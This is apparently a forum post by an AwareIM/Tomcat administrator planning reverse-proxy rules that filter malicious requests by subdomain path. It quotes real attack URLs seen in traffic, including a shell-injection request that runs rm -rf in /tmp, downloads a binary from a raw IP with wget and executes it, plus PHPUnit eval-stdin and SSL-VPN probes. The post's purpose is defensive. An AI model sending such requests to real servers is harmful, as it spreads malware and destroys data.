I don't see how this happens at all.
The "aware server" is basically the Tomcat server.
And if hackers know a URL (ie. subdomain.maindomain.com), their request is going to be passed on
EVEN IF IT IS A HACKING ATTEMPT with garbage data, speculative paths, hex-encrypted strings, etc.
So it still gets to the server.
My apps never show /AwareIM, I changed that years ago.
And using the docbase in server.xml, my paths start already inside /AwareIM (which I rename to the subdomain anyway; point is its not visible).
So I thought about only allowing thru URIs, like logonOp.aw, webif.awr, etc, but thats a long list of tomcat servlets, plus a bunch of dirs (/Custom, /Aware_kendo, etc etc).
In order for this security to try and be effective, I'm thinking I need to go back to showing my subdomain in the URL, give up the "docbase" shortening, and then I could only pass thru URLs that contain "cust1/", for example, if the URL was cust1.appserver.com.
Hackers would be sending something like: (REAL examples)
cust1.appserver.com/shell?cd+/tmp;rm+-rf+*;wget+94.158.247.123/jaws;sh+/tmp/jaws OR
cust1.appserver.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php OR
cust1.appserver.com/ssl-vpn/prelogin.esp?tmp=tmp&clientVer=4100&clientos=Windows
And those wouldn't be directed at the correct subdomain "cust1" so I could filter them IN THE REVERSE PROXY BEFORE they get to Aware.
If the hacker did THIS, it WOULD GET THRU:
cust1.appserver.com/cust1/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
... and even if it did, it will still have no effect (as it does now), but most likely none of these attempted URIs will pass the test.
One downside is the URL will have the subdomain repeated in it:
hiips://cust1.appserver.com/cust1/logonOp.aw#/home
and thats no big deal to me. I was never trying to perfectly sanitize the URL for end users' viewing anyway.
Another is some small amount of extra processing by the reverse proxy for testing of the subdomain string, but its already doing that to a certain degree anyway. Most likely negligible.
Using this strategy (with a little extra work) may be effective to reducing 95%+ of bogus traffic hitting Tomcat.
NOTE
Some people on here have pushed for the RP (reverse proxy) to ease implementing SSL certs - I never had an issue with that. Sure, it was annoying to install a new one when they expire, and yeah, you need to bounce the server.
I've never had RDP hacking issues, due to secure password usage.
People do hit the MSSQL server - but since 'sa' is disabled, they don't get far.
Certainly now with the RP as gatekeeper, the Tomcat server will get more 'pure' traffic, and the firewall there only sees traffic coming from the RP, AND MSSQL the same. No more attempts to be logging in there due to only a few open ports. So its a decent architecture change for $100/year.
I'm still working on failover strategies as pointed out in other threads - but no one seems to have any experience with that. There are ways to make Tomcat "high availability", but that requires some changing to the way Aware works. If you had an app that solely acquired and passed a JWT, then when that session was routed to the alternate server, it wouldn't matter because every request contains the JWT and it contains valid authentication info inside it, vs. the way Tomcat manager has its table of Sessions.